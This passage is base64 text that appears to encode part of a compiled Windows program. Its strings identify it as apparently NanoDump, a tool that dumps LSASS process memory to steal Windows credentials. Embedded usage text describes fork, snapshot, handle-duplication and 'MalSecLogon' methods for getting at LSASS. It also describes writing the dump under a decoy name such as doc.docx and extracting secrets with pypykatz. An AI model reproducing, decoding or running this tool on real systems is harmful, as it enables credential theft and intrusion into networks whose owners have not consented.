0cH9BTnrfn9MjWEYSGPtTY0cnEmNNKxBg+EfD4R+AAAAiwZEicm/IAAAAEiNVgREKc/T6EGJwEk50w+GlwAAAEyJ5g8fQACLAon5SIPGBEiDwgTT4ESJyUQJwIlG/ESLQvxB0+hJOdN33Ugp60mNRJz8RIkARYXAdEJIg8AE6zwPH4AAAAAAQcdCFAAAAABBx0IYAAAAAFteX11BXMOQTInnSTnzduAPH4QAAAAAAKVJOfN3+kgp60mNBJxMKeBIwfgCQYlCFIXAdMRbXl9dQVzDDx9EAABBiUIYhcB0qEyJ4OuWZmYuDx+EAAAAAABFMcBIY1EUSI1BGEiNDJBIOchyGespZi4PH4QAAAAAAEiDwARBg8AgSDnBdhKLEIXSdO1IOcF2B/MPvNJBAdBEicDDkJCQkJCQkJCQkJCQkFZTSIPsKIsFNJgAAInOg/gCdHuFwHQ5g/gBdSNIix1hoAAADx9EAAC5AQAAAP/TiwULmAAAg/gBdO6D+AJ0T0iDxChbXsNmLg8fhAAAAAAAuAEAAACHBeWXAACFwHVRSIsd9p8AAEiNDeOXAAD/00iNDQKYAAD/00iNDWEAAADoPDL//8cFspcAAAIAAABIY85IjQW4lwAASI0UiUiNDNBIg8QoW15I/yV/nwAADx8Ag/gCdBuLBYWXAACD+AEPhFj////pcf///w8fgAAAAADHBWaXAAACAAAA67IPH0AAU0iD7CC4AwAAAIcFUJcAAIP4AnQLSIPEIFvDDx9EAABIix0dnwAASI0NQpcAAP/TSI0NYZcAAEiJ2EiDxCBbSP/gZmYuDx+EAAAAAAAPHwBWU0iD7DiJyzHJ6MH+//+D+wl+TInZvgEAAADT5khjxkiNDIUjAAAASLj4////BwAAAEghwegOEwAASIXAdBeDPcqWAAACiVgIiXAMdDVIx0AQAAAAAEiDxDhbXsMPHwBIjRVZlgAASGPLSIsEykiFwHQtTIsAgz2TlgAAAkyJBMp1y0iJRCQoSI0NkZYAAP8Vp54AAEiLRCQo67IPH0AAidm+AQAAAEiLBWIcAABMjQULjQAA0+ZIY9ZIicFIjRSVIwAAAEwpwUjB6gNIwfkDidJIAdFIgfkgAQAAD4cy////SI0U0EiJFSMcAADpTf///2ZmLg8fhAAAAAAADx8AQVRIg+wgSYnMSIXJdDqDeQgJfgxIg8QgQVzpERIAAJAxyeip/f//SWNUJAhIjQWNlQAAgz3WlQAAAkiLDNBMiSTQSYkMJHQISIPEIEFcw5BIjQ3JlQAASIPEIEFcSP8l2J0AAGZmLg8fhAAAAAAAkEFVQVRWU0iD7CiLcRRJicxJY9hIY8ox0g8fhAAAAAAAQYtElBhID6/BSAHYQYlElBhIicNIg8IBSMHrIDnWf+BNieVIhdt0GkE5dCQMfiFIY8aDxgFNieVBiVyEGEGJdCQUTInoSIPEKFteQVxBXcNBi0QkCI1IAegT/v//SYnFSIXAdN1IjUgQSWNEJBRJjVQkEEyNBIUIAAAA6FARAABMieFNiezo5f7//+uiDx8AU0iD7DCJyzHJ6KL8//9IiwWTlAAASIXAdC5IixCDPcyUAAACSIkVfZQAAHRmiVgYSLsAAAAAAQAAAEiJWBBIg8QwW8MPH0AASIsFoRoAAEiNDUqLAABIicJIKcpIwfoDSIPCBUiB+iABAAB2Q7koAAAA6LEQAABIhcB0wki6AQAAAAIAAACDPWOUAAACSIlQCHWaSIlEJChIjQ1hlAAA/xV3nAAASItEJCjrgQ8fQABIjVAoSIkVNRoAAOu/Dx8AQVdBVkFVQVRVV1ZTSIPsKEhjaRRIY3oUSYnNSYnXOf18Don4SYnPSGP9SYnVSGPoMcmNHC9BOV8MD5zBQQNPCOjb/P//SYnESIXAD4T0AAAATI1YGEhjw0mNNINJOfNzI0iJ8EyJ2THSTCngSIPoGUjB6AJMjQSFBAAAAOgHEAAASYnDTY1NGE2NdxhJjSypSY08vkk56Q+DhgAAAEiJ+Ewp+EmDxxlIg+gZSMHoAkw5/0yNLIUEAAAAuAQAAABMD0Lo6wwPHwBJg8METDnNdlJFixFJg8EERYXSdOtMidlMifJFMcBmLg8fhAAAAAAAiwJEizlIg8IESIPBBEkPr8JMAfhMAcBJicCJQfxJweggSDnXd9pHiQQrSYPDBEw5zXeuhdt/DusXDx+AAAAAAIPrAXQLi0b8SIPuBIXAdPBBiVwkFEyJ4EiDxChbXl9dQVxBXUFeQV/DDx+AAAAAAEFWQVVBVFVXVlNIg+wgidBJic2J04PgAw+FOgEAAMH7Ak2J7HR1SIs9M4kAAEiF/w+EUgEAAE2J7EyLLbyaAABIjS05kgAATYnu6xMPH0AA0ft0R0iLN0iF9nRUSIn39sMBdOxIifpMieHoMf7//0iJxkiFwA+EBQEAAE2F5A+EnAAAAEGDfCQICX5UTInhSYn06FkOAADR+3W5TIngSIPEIFteX11BXEFdQV7DDx8AuQEAAADo1vn//0iLN0iF9nRugz0HkgAAAnWRSI0NNpIAAEH/1uuFZg8fhAAAAAAAMcnoqfn//0ljRCQIgz3dkQAAAkiLVMUATIlkxQBJiRQkSYn0D4VG////SI0Nz5EAAEH/1ek3////Dx+AAAAAAEmJxOko////Dx+EAAAAAABIifpIifnoZf3//0iJB0iJxkiFwHQ6SMcAAAAAAOlw////Zg8fRAAAg+gBSI0VPjkAAEUxwEiYixSC6MH7//9JicVIhcAPhaP+//8PH0QAAEUx5OkT////uQEAAADo/vj//0iLPceHAABIhf90H4M9K5EAAAIPhYv+//9IjQ1WkQAA/xVEmQAA6Xn+//+5AQAAAOj5+f//SInHSIXAdB5IuAEAAABxAgAASIk9gIcAAEiJRxRIxwcAAAAA67FIxwVohwAAAAAAAEUx5Omb/v//QVZBVUFUVVdWU0iD7CBJicyJ1otJCInTQYtsJBTB/gVBi0QkDAH1RI1tAUE5xX4KAcCDwQFBOcV/9uiB+f//SYnGSIXAD4SiAAAASI14GIX2fhdIY/ZIifkx0kjB5gJJifBIAffovgwAAEljRCQUSY10JBhMjQyGg+MfD4R/AAAAQbogAAAASYn4MdJBKdqQiwaJ2UmDwARIg8YE0+BEidEJ0EGJQPyLVvzT6kk58XffTInISY1MJBlMKeBIg+gZSMHoAkk5ybkEAAAASI0EhQQAAABID0LBhdJBD0XtiRQHQYluFEyJ4ejT+f//TInwSIPEIFteX11BXEFdQV7DkKVJOfF226VJOfF39OvTZpBIY0IURItBFEmJ0UEpwHU8SI0UhQAAAABIg8EYSI0EEUmNVBEY6w5mDx+EAAAAAABIOcFzF0iD6ARIg+oERIsSRDkQdOtFGcBBg8gBRInAw0FUVVdWU0iD7CBIY0IUi3kUSInOSInTKccPhWEBAABIjRSFAAAAAEiNSRhIjQQRSI1UExjrE2YuDx+EAAAAAABIOcEPg1cBAABIg+gESIPqBESLGkQ5GHTnD4IsAQAAi04I6Pn3//9JicBIhcAPhPgAAACJeBBIY0YUSI1uGE2NYBi5GAAAADHSSYnBTI1chQBIY0MUSI18gxhmDx9EAACLBA5IKdCLFAtIKdBBiQQISInCSIPBBEGJwkjB6iBIjQQZg+IBSDnHd9ZIifhIjXMZSCnYuwAAAABIg+gZSInBSIPg/EjB6QJIOfdID0LDSI0MjQQAAAC7BAAAAEwB4Eg590gPQstIAc1JAcxJOet2P0yJ40iJ6WYPH4QAAAAAAIsBSIPBBEiDwwRIKdBIicKJQ/xBicJIweogg+IBSTnLd95JjUP/SCnoSIPg/EwB4EWF0nUSDx8Ai1D8SIPoBEGD6QGF0nTxRYlIFEyJwEiDxCBbXl9dQVzDDx+AAAAAAL8AAAAAD4nU/v//SInwvwEAAABIid5IicPpwf7//2aQMcnoufb//0mJwEiFwHS8TInAScdAFAEAAABIg8QgW15fXUFcw2ZmLg8fhAAAAAAAQVRTSGNBFEyNWRhJidS5IAAAAE2NDIOJyEWLQfxNjVH8QQ+90IPyHynQQYkEJIP6Cg+OiQAAAIPqC00503NhRYtR+IXSdGCJy0SJwInRRYnQKdPT4InZQdPoidFJjVH4RAnAQdPiDQAA8D9IweAgSTnTcwtBi1H0idnT6kEJ0ki6AAAAAP////9IIdBMCdBmSA9uwFtBXMMPH4QAAAAAAEUx0oXSdVlEicANAADwP0jB4CBMCdBmSA9uwFtBXMOQuQsAAABEicAx2ynR0+gNAADwP0jB4CBNOdNzBkGLWfjT641KFUHT4EEJ2EwJwGZID27AW0Fcw2YPH4QAAAAAAESJwInRRTHS0+ANAADwP0jB4CDpZ////w8fhAAAAAAAV1ZTSIPsILkBAAAAZkgPfsNIiddMicboVPX//0mJwUiFwA+EjgAAAEiJ2UiJ2EjB6SCJysHpFIHi//8PAEGJ0EGByAAAEACB4f8HAABBD0XQQYnKhdt0cEUxwPNED7zDRInB0+hFhcB0E7kgAAAAidNEKcHT40SJwQnY0+pBiUEYg/oBuAEAAACD2P9BiVEcQYlBFEWF0nVRSGPQQYHoMgQAAEEPvVSRFMHgBUSJB4PyHynQiQZMichIg8QgW15fww8fgAAAAAAxyUHHQRQBAAAAuAEAAADzD7zK0+pEjUEgQYlRGEWF0nSvQ42EAs37//+JB7g1AAAARCnAiQZMichIg8QgW15fww8fgAAAAABIichIidFIjVIBD7YJiAiEyXQWDx9EAAAPtgpIg8ABSIPCAYgIhMl178OQkJCQkJBFMcBIichIhdJ1FOsXDx8ASIPAAUmJwEkpyEk50HMFgDgAdexMicDDkJCQkJCQkJBIiwXZNAAASIsAw5CQkJCQSIsFuTQAAEiLAMOQkJCQkEiLBZk0AABIiwDDkJCQkJBTSIPsIEiJyzHJ6OEAAABIOcNyD7kTAAAA6NIAAABIOcN2FUiNSzBIg8QgW0j/JZmSAAAPH0QAADHJ6LEAAABJicBIidhMKcBIwfgEacCrqqqqjUgQ6E4GAACBSxgAgAAASIPEIFvDZg8fhAAAAAAAU0iD7CBIicsxyehxAAAASDnDcg+5EwAAAOhiAAAASDnDdhVIjUswSIPEIFtI/yVpkgAADx9EAACBYxj/f///McnoOgAAAEgpw0jB+wRp26uqqqqNSxBIg8QgW+nwBQAASIsFeYoAAMMPH4QAAAAAAEiJyEiHBWaKAADDkJCQkJBTSIPsIInL6HQFAACJ2UiNFElIweIESAHQSIPEIFvDkEiD7FhIichmiVQkaESJwUWFwHUcZoH6/wB3WYgQuAEAAABIg8RYw2YPH4QAAAAAAEiNVCRMRIlMJChMjUQkaEG5AQAAAEiJVCQ4MdLHRCRMAAAAAEjHRCQwAAAAAEiJRCQg/xXMkQAAhcB0CItUJEyF0nSu6A8FAADHACoAAAC4/////0iDxFjDDx+AAAAAAEFUVlNIg+wwSIXJSYnMSI1EJCuJ00wPRODoogQAAInG6JMEAAAPt9NBifFMieFBicDoOv///0iYSIPEMFteQVzDZmYuDx+EAAAAAAAPH0AAQVZBVUFUVVdWU0iD7DBFMfZJidRIictMicXoSQQAAInH6EoEAABJizQkQYnFSIX2dE1Ihdt0YUiF7XUn6Y8AAAAPH4AAAAAASJhIAcNJAcaAe/8AD4SGAAAASIPGAkw59XZtD7cWRYnpQYn4SInZ6Kz+//+FwH/QScfG/////0yJ8EiDxDBbXl9dQVxBXUFeww8fgAAAAABIjWwkK+sXkEhj0IPoAUiYSQHWgHwEKwB0PkiDxgIPtxZFielBifhIienoWf7//4XAf9Xrqw8fAEmJNCTrqWYuDx+EAAAAAABJxwQkAAAAAEmD7gHrkWaQSYPuAeuJkJCQkJCQkJCQkFdTSIPsSEiJz0iJ00iF0g+EMwEAAE2FwA+EMwEAAEGLAQ+2EkHHAQAAAACJRCQ8hNIPhKEAAACDvCSIAAAAAXZ3hMAPhacAAABMiUwkeIuMJIAAAABMiUQkcP8VtI8AAIXAdFRMi0QkcEyLTCR4SYP4AQ+E9QAAAEiJfCQgQbkCAAAASYnYx0QkKAEAAACLjCSAAAAAuggAAAD/FYSPAACFwA+EsAAAALgCAAAASIPESFtfww8fQACLhCSAAAAAhcB1TQ+2A2aJB7gBAAAASIPESFtfww8fADHSMcBmiRFIg8RIW1/DZi4PH4QAAAAAAIhUJD1BuQIAAABMjUQkPMdEJCgBAAAASIlMJCDrgGaQx0QkKAEAAACLjCSAAAAASYnYQbkBAAAASIl8JCC6CAAAAP8V7I4AAIXAdBy4AQAAAOucDx9EAAAxwEiDxEhbX8O4/v///+uH6EsCAADHACoAAAC4/////+ly////D7YDQYgBuP7////pYv///w8fAEFVQVRXVlNIg+xAMcBJicxIhclmiUQkPkiNRCQ+TInLTA9E4EmJ1UyJxujBAQAAicfosgEAAEiF24l8JChJifCJRCQgTI0NrYYAAEyJ6kyJ4UwPRcvoJv7//0iYSIPEQFteX0FcQV3DDx+EAAAAAABBVkFVQVRVV1ZTSIPsQEiNBW+GAABNic1NhclJic5IidNMD0ToTInG6EsBAACJxehMAQAAicdIhdsPhMEAAABIixNIhdIPhLUAAABNhfZ0cEUx5EiF9nUf60pmDx9EAABIixNImEmDxgJJAcRIAcJIiRNMOeZ2LYl8JChJifBNielMifGJbCQgTSng6ID9//+FwH/MTDnmdguFwHUHSMcDAAAAAEyJ4EiDxEBbXl9dQVxBXUFew2YuDx+EAAAAAAAxwEGJ/kiNdCQ+RTHkZolEJD7rDA8fQABImEiLE0kBxIl8JChMAeJNielNifCJbCQgSInx6Bf9//+FwH/b66WQRTHk659mZi4PH4QAAAAAAEFUV1ZTSIPsSDHASYnMSInWTInDZolEJD7oUgAAAInH6EMAAABIhduJfCQoSYnwSI0VOoUAAIlEJCBIjUwkPkgPRNpMieJJidnosvz//0iYSIPESFteX0Fcw5CQkJCQkP8l/owAAJCQ/yX+jAAAkJD/Jf6MAACQkP8l/owAAJCQ/yUGjQAAkJD/JQaNAACQkP8lBo0AAJCQ/yUOjQAAkJD/JQ6NAACQkP8lFo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JR6NAACQkP8lHo0AAJCQ/yUejQAAkJD/JY6LAACQkP8lfosAAJCQ/yVuiwAAkJD/JV6LAACQkP8lTosAAJCQ/yU+iwAAkJD/JS6LAACQkP8lHosAAJCQ/yUOiwAAkJD/Jf6KAACQkP8l7ooAAJCQ/yXeigAAkJD/Jc6KAACQkP8lvooAAJCQ/yWuigAAkJD/JZ6KAACQkP8ljooAAJCQDx+EAAAAAADpOx3//5CQkJCQkJCQkJCQ///////////Q9wBAAQAAAAAAAAAAAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAAAAAAAAAAAAAA+ABAAQAAAAAAAAAAAAAA//////////8AAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAQAAAAMO////APwAAAQAAAAAAAAAOAAAAAAAAAAAAAAAgcQFAAQAAAAAAAAAAAAAAYO8AQAEAAAAAAAAAAAAAAHDvAEABAAAAAAAAAAAAAACA7wBAAQAAAAAAAAAAAAAAAPAAQAEAAACQ7wBAAQAAAGDwAEABAAAAcPAAQAEAAACA8ABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAAAAAAAAAAAAAAAAAABcAD8APwBcAAAAVGhlIHBhdGggJyVscycgaXMgaW52YWxpZC4ACgBDb3VsZCBub3Qgd3JpdGUgdGhlIGR1bXAgJWxzAAAAAABUaGUgbWluaWR1bXAgaGFzIGFuIGludmFsaWQgc2lnbmF0dXJlLCByZXN0b3JlIGl0IHJ1bm5pbmc6CnNjcmlwdHMvcmVzdG9yZV9zaWduYXR1cmUgJXMARG9uZSwgdG8gZ2V0IHRoZSBzZWNyZXR6IHJ1bjoKcHl0aG9uMyAtbSBweXB5a2F0eiBsc2EgbWluaWR1bXAgJXMAXABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAVGhlIExTQVNTIHByb2Nlc3Mgd2FzIG5vdCBmb3VuZC4gVHJ5IHByb3ZpZGluZyB0aGUgUElEIHdpdGggLXAgb3IgLS1waWQACgAAAAAAAABUaGVyZSBpcyBubyBwcm9jZXNzIHdpdGggdGhlIFBJRCAlbGQuAAAAQ291bGQgbm90IG9wZW4gYSBoYW5kbGUgdG8gJWxkLgBUb28gbWFueSBwcm9jZXNzZXMsIHBsZWFzZSBpbmNyZWFzZSBNQVhfUFJPQ0VTU0VTAFAAcgBvAGMAZQBzAHMAAAAAAAAAAABObyBoYW5kbGUgdG8gdGhlIExTQVNTIHByb2Nlc3Mgd2FzIGZvdW5kAABuAHQAZABsAGwALgBkAGwAbAAAAAAARmFpbGVkIHRvIHJlYWQgTFNBU1MsIHN0YXR1czogU1RBVFVTX0FDQ0VTU19ERU5JRUQACgAAAABGYWlsZWQgdG8gcmVhZCBMU0FTUywgc3RhdHVzOiAweCVseABsAHMAYQBzAHIAdgAuAGQAbABsAAAAAAAAAAAAVGhlIHNlbGVjdGVkIHByb2Nlc3MgaXMgbm90IExTQVNTLgAAAAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAABBIHByaXZpbGVnZSBpcyBtaXNzaW5nOiAlbHMACgBBAGQAdgBhAHAAaQAzADIALgBkAGwAbAAAAAAAAAAAAFRvbyBtYW55IGhhbmRsZXMsIHBsZWFzZSBpbmNyZWFzZSBNQVhfSEFORExFUwAKACIAAAAgAC0AdwAgAAAAIAAtAGYAAAAgAC0AcwAAACAALQB2AAAAIAAtAG0AAAAgAC0ALQBzAHQAYQBnAGUAMgAAAAAAAAAAAFRvbyBtYW55IHByb2Nlc3NlcywgcGxlYXNlIGluY3JlYXNlIE1BWF9QUk9DRVNTRVMATWFsU2VjTG9nb24gdGVjaG5pcXVlIGZhaWxlZCEATm8gaGFuZGxlcyBmb3VuZCBpbiBMU0FTUywgaXMgdGhlIFBJRCAlbGQgY29ycmVjdD8uAEEAZAB2AGEAcABpADMAMgAuAGQAbABsAAAATgBhAG4AbwBEAHUAbQBwAFAAdwBkAAAATgBhAG4AbwBEAHUAbQBwAEQAbwBtAGEAaQBuAAAATgBhAG4AbwBEAHUAbQBwAFUAcwBlAHIAAAAAAAAAAAAAAAAAVGhlIGR1bXAgc2l6ZSBleGNlZWRzIHRoZSAzMi1iaXQgYWRkcmVzcyBzcGFjZSEACgAAAAAAAABUaGUgZHVtcCBpcyB0b28gYmlnLCBwbGVhc2UgaW5jcmVhc2UgRFVNUF9NQVhfU0laRS4AbABzAGEAcwByAHYALgBkAGwAbAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAB0AHMAcABrAGcALgBkAGwAbAAAAHcAZABpAGcAZQBzAHQALgBkAGwAbAAAAGsAZQByAGIAZQByAG8AcwAuAGQAbABsAAAAbABpAHYAZQBzAHMAcAAuAGQAbABsAAAAZABwAGEAcABpAHMAcgB2AC4AZABsAGwAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAYwByAHkAcAB0AGQAbABsAC4AZABsAGwAAABsAHMAYQBkAGIALgBkAGwAbAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAYwBsAG8AdQBkAGEAcAAuAGQAbABsAAAAAAAAAAAAAAAAAHVzYWdlOiAlcyBbLS1nZXRwaWRdIC0td3JpdGUgQzpcV2luZG93c1xUZW1wXGRvYy5kb2N4IFstLXZhbGlkXSBbLS1mb3JrXSBbLS1zbmFwc2hvdF0gWy0tZHVwXSBbLS1tYWxzZWNsb2dvbl0gWy0tYmluYXJ5IEM6XFdpbmRvd3Ncbm90ZXBhZC5leGVdIFstLWhlbHBdAAoAICAgIC0tZ2V0cGlkACAgICAgICAgICAgIHByaW50IHRoZSBQSUQgb2YgTFNBU1MgYW5kIGxlYXZlAAAAACAgICAtLXdyaXRlIERVTVBfUEFUSCwgLXcgRFVNUF9QQVRIAAAAAAAgICAgICAgICAgICBmaWxlbmFtZSBvZiB0aGUgZHVtcAAgICAgLS12YWxpZCwgLXYAAAAAAAAAACAgICAgICAgICAgIGNyZWF0ZSBhIGR1bXAgd2l0aCBhIHZhbGlkIHNpZ25hdHVyZQAgICAgLS1mb3JrLCAtZgAgICAgICAgICAgICBmb3JrIHRoZSB0YXJnZXQgcHJvY2VzcyBiZWZvcmUgZHVtcGluZwAgICAgLS1zbmFwc2hvdCwgLXMAAAAgICAgICAgICAgICBzbmFwc2hvdCB0aGUgdGFyZ2V0IHByb2Nlc3MgYmVmb3JlIGR1bXBpbmcAICAgIC0tZHVwLCAtZAAAAAAgICAgICAgICAgICBkdXBsaWNhdGUgYW4gZXhpc3RpbmcgTFNBU1MgaGFuZGxlACAgICAtLW1hbHNlY2xvZ29uLCAtbQAAAAAgICAgICAgICAgICBvYnRhaW4gYSBoYW5kbGUgdG8gTFNBU1MgYnkgKGFiKXVzaW5nIHNlY2xvZ29uAAAAAAAAICAgIC0tYmluYXJ5IEJJTl9QQVRILCAtYiBCSU5fUEFUSAAAAAAAACAgICAgICAgICAgIGZ1bGwgcGF0aCB0byB0aGUgZGVjb3kgYmluYXJ5IHVzZWQgd2l0aCAtLWR1cCBhbmQgLS1tYWxzZWNsb2dvbgAgICAgLS1oZWxwLCAtaAAAAAAAACAgICAgICAgICAgIHByaW50IHRoaXMgaGVscCBtZXNzYWdlIGFuZCBsZWF2ZQAtLWdldHBpZAAtdgAtLXZhbGlkAC13AC0td3JpdGUAbWlzc2luZyAtLXdyaXRlIHZhbHVlAC1wAC0tcGlkAG1pc3NpbmcgLS1waWQgdmFsdWUAMDEyMzQ1Njc4OQBJbnZhbGlkIFBJRDogJXMALWYALS1mb3JrAC1zAC0tc25hcHNob3QALWQALS1kdXAALW0ALS1tYWxzZWNsb2dvbgAtczIALS1zdGFnZTIALWIALS1iaW5hcnkAbWlzc2luZyAtLWJpbmFyeSB2YWx1ZQAAAABZb3UgbXVzdCBwcm92aWRlIGEgZnVsbCBwYXRoOiAlcwAAAAAAAAAAVGhlIGJpbmFyeSAiJXMiIGRvZXMgbm90IGV4aXN0cy4ALWgALS1oZWxwAGludmFsaWQgYXJndW1lbnQ6ICVzAElmIE1hbFNlY0xvZ29uIGlzIGJlaW5nIHVzZWQgbG9jYWxseSwgeW91IG5lZWQgdG8gcHJvdmlkZSB0aGUgZnVsbCBwYXRoOiAlcwAAAAAAVGhlIG9wdGlvbnMgLS1mb3JrIGFuZCAtLXNuYXBzaG90IGNhbm5vdCBiZSB1c2VkIGF0IHRoZSBzYW1lIHRpbWUATFNBU1MgUElEOiAlbGQAAAAAAAAAAFlvdSBtdXN0IHByb3ZpZGUgdGhlIGR1bXAgZmlsZTogLS13cml0ZSBDOlxXaW5kb3dzXFRlbXBcZG9jLmRvY3gAAAAAAAAAAElmIC0tZHVwIGFuZCAtLW1hbHNlY2xvZ29uIGFyZSB1c2VkLCB5b3UgbmVlZCB0byBwcm92aWRlIGEgYmluYXJ5IHdpdGggLS1iaW5hcnkAVGhlIG9wdGlvbiAtLWJpbmFyeSBjYW4gb25seSBiZSB1c2VkIHdpdGggLS1tYWxzZWNsb2dvbiBhbmQgLS1kdXAAAAAAAAAAAAAAAAAAAABQkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAUABAAAACKABQAEAAADsbwFAAQAAADiQAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVbmtub3duIGVycm9yAAAAQXJndW1lbnQgZG9tYWluIGVycm9yIChET01BSU4pAABPdmVyZmxvdyByYW5nZSBlcnJvciAoT1ZFUkZMT1cpAFBhcnRpYWwgbG9zcyBvZiBzaWduaWZpY2FuY2UgKFBMT1NTKQAAAABUb3RhbCBsb3NzIG9mIHNpZ25pZmljYW5jZSAoVExPU1MpAAAAAAAAVGhlIHJlc3VsdCBpcyB0b28gc21hbGwgdG8gYmUgcmVwcmVzZW50ZWQgKFVOREVSRkxPVykAQXJndW1lbnQgc2luZ3VsYXJpdHkgKFNJR04pAAAAAAAAAF9tYXRoZXJyKCk6ICVzIGluICVzKCVnLCAlZykgIChyZXR2YWw9JWcpCgAAeHT//yx0///Ec///THT//1x0//9sdP//PHT//01pbmd3LXc2NCBydW50aW1lIGZhaWx1cmU6CgAAAAAAQWRkcmVzcyAlcCBoYXMgbm8gaW1hZ2Utc2VjdGlvbgAgIFZpcnR1YWxRdWVyeSBmYWlsZWQgZm9yICVkIGJ5dGVzIGF0IGFkZHJlc3MgJXAAAAAAAAAAACAgVmlydHVhbFByb3RlY3QgZmFpbGVkIHdpdGggY29kZSAweCV4AAAgIFVua25vd24gcHNldWRvIHJlbG9jYXRpb24gcHJvdG9jb2wgdmVyc2lvbiAlZC4KAAAAAAAAACAgVW5rbm93biBwc2V1ZG8gcmVsb2NhdGlvbiBiaXQgc2l6ZSAlZC4KAAAAAAAAACVkIGJpdCBwc2V1ZG8gcmVsb2NhdGlvbiBhdCAlcCBvdXQgb2YgcmFuZ2UsIHRhcmdldGluZyAlcCwgeWllbGRpbmcgdGhlIHZhbHVlICVwLgoAAAAAAACgef//oHn//6B5//+gef//oHn//wh5//+gef//0Hn//wh5//8zef//AAAAAAAAAAAobnVsbCkAACgAbgB1AGwAbAApAAAATmFOAEluZgAAAF6k//+Inf//iJ3//3ik//+Inf//gKP//4id//+Xo///iJ3//4id//8MpP//SKT//4id//+aof//s6H//4id///Pof//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//iJ3//+yh//+Inf//oKL//4id///Yov//EKP//0ij//+Inf//VaD//4id//+Inf//RaH//4id//+Inf//iJ3//4id//+Inf//iJ3//9uk//+Inf//iJ3//4id//+Inf//AJ7//4id//+Inf//iJ3//4id//+Inf//iJ3//4id//+Inf//gp///4id////nv//eJ7//32g///VoP//DaH//7Wg//94nv//YJ7//4id//9cof//fKH//0Sf//8Anv//FaD//4id//+Inf//057//2Ce//8Anv//iJ3//4id//8Anv//iJ3//2Ce//8AAAAASW5maW5pdHkATmFOADAAAAAAAAAAAPg/YUNvY6eH0j+zyGCLKIrGP/t5n1ATRNM/BPp9nRYtlDwyWkdVE0TTPwAAAAAAAPA/AAAAAAAAJEAAAAAAAAAIQAAAAAAAABxAAAAAAAAAFEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAADgPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAZAAAAfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8D8AAAAAAAAkQAAAAAAAAFlAAAAAAABAj0AAAAAAAIjDQAAAAAAAavhAAAAAAICELkEAAAAA0BJjQQAAAACE15dBAAAAAGXNzUEAAAAgX6ACQgAAAOh2SDdCAAAAopQabUIAAEDlnDCiQgAAkB7EvNZCAAA0JvVrDEMAgOA3ecNBQwCg2IVXNHZDAMhOZ23Bq0MAPZFg5FjhQ0CMtXgdrxVEUO/i1uQaS0SS1U0Gz/CARAAAAAAAAAAAvInYl7LSnDwzp6jVI/ZJOT2n9ET9D6UynZeMzwi6WyVDb6xkKAbICgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACA4Dd5w0FDF24FtbW4k0b1+T/pA084TTIdMPlId4J